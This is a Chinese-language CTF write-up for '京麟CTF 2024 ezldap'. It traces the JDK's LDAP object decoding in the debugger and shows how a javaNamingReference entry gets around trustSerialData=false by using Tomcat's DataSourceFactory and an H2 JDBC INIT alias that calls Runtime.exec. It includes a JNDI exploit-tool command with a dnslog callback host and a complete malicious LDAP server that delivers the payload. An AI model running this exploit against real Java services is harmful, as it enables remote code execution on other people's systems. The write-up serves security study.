0%

京麟CTF 2024 ezldap

题目总览

考察在truestSerialData关闭的场景下通过jndi:ldap协议打本地工厂类的绕过

题目环境是其他师傅自己写出来的,题目本身无附件,只能通过heapdump进行相关的分析,在actuator/env中设置truestSerialData为false

然后依赖中是有tomcat-jdbc-9.0.83.jar以及h2-2.1.214.jar两个依赖

调试分析

编写一个Test文件用于调试

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;

public class Test {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false");
InitialContext initialContext = new InitialContext();
String path = "localhost:1389/deserialURLDNS";
String url = "ldap://" + path;
initialContext.lookup(url);
}
}

然后开一个ldap-server,开始调试

1
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C http://vpnbes.dnslog.cn -A 127.0.0.1

image-20240619172401924

前面就是层层调用各种类的lookup,解析我们的ldap协议,我们跟进到LdapCtx的c_lookeup方法

image-20240619172710672

随后会调用doSearchOnce方法获取ldap-server的信息

image-20240619175533468

其中javaserializeddata就是我们ldap-server插入的反序列化数据,然后会将这个数据存入到attrs中

image-20240619175904310

然后判断attrs中JavaClassName是否为null

image-20240619180117944

也就是只要请求了ldap的javaclassname,就会步入到Obj.decodeObject方法,跟进

image-20240619180743244

首先获取codebase,也就是看是否有需要远程加载类的路径,然后获取serializedata,如果检验通过的话,便会调用deserializeObject方法对其进行反序列化,那我们到底能不能过if能,答案是不行的

image-20240619181201618

虽然jdk17中,trustSerialData默认为true

image-20240619193209564

但由于我们在代码中设置了它为false,随后便会抛出异常

所以这条路走不通,我们继续往下看看decodeObject方法

image-20240619193725951

如果JAVA_ATTRIBUTES[REMOTE_LOC]不为null的话,就会调用decodeRmiObject方法(JAVA_ATTRIBUTES[REMOTE_LOC]为javaRemoteLocation)

我们看一下这个方法

image-20240619193924336

返回了一个reference类,而这个方法只给Reference塞进去javaClassNamejavaRemoteLocation。我们的目的是打本地工厂类,最起码需要塞进去javaFactory这个属性

image-20240619194954754

所以这里也走不通

再继续看

image-20240619195101889

如果attr中包含了JAVA_OBJECT_CLASSES[REF_OBJECT],也就是javaNamingReference的话,那么就会调用decodeReference方法

那我们调整一下ldap-server的处理逻辑

image-20240619210946438

再进行调试,成功步入到decodeReference方法中

image-20240619211105395

会实例化这样一个Reference对象

image-20240619211403681

最后会将这个对象返回

image-20240619211725762

然后回到c_lookup方法,会调用到DirectoryManager.getObjectInstance方法

image-20240619211824265

接着便会实例化factory对象

image-20240619211942262

然后调用createDataSource方法,触发JDBC连接

image-20240619212045000

而现在properties还是空的,properties又是从ref中取出的

image-20240619212256265

所以我们重新再看一下decodeReference方法

有这样一段if语句,用于处理refaddress

image-20240619212549534

我们看一下最后的代码

image-20240619212613627

就是将refAddrList中的元素复制到ref中

回过头继续看if

image-20240619213349807

这里会对取出的attr进行一个遍历,也就是javaReferenceAddress的值

然后取第一个字符为分隔符

image-20240619213527921

然后posnStr就是第一个和第二个分隔符之间的字符

image-20240619213638510

然后取type,就是最后exp中的url

最后通过setElementAt设置索引,赋值给refAddrList

image-20240619213824144

后面就是打h2jdbc了,java15之后没有nashorn,所以通过javac执行代码。

复现

ldap-server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.Properties;

public class exp {
public static void main(String[] args) {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
1389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("[LDAP] Listening on 0.0.0.0:1389");
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
public static class OperationInterceptor extends InMemoryOperationInterceptor {

@Override
public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
String base = searchResult.getRequest().getBaseDN();
Entry e = new Entry(base);
e.addAttribute("objectClass","javaNamingReference");

e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory","org.apache.tomcat.jdbc.pool.DataSourceFactory");
String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')";
e.addAttribute("javaReferenceAddress",new String[]{"/0/url/"+JDBC_URL,"/1/driverClassName/org.h2.Driver","/2/username/ycxlo","/3/password/ycxlo","/4/initialSize/1"});


try {
searchResult.sendSearchEntry(e);
searchResult.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
}

image-20240619214219385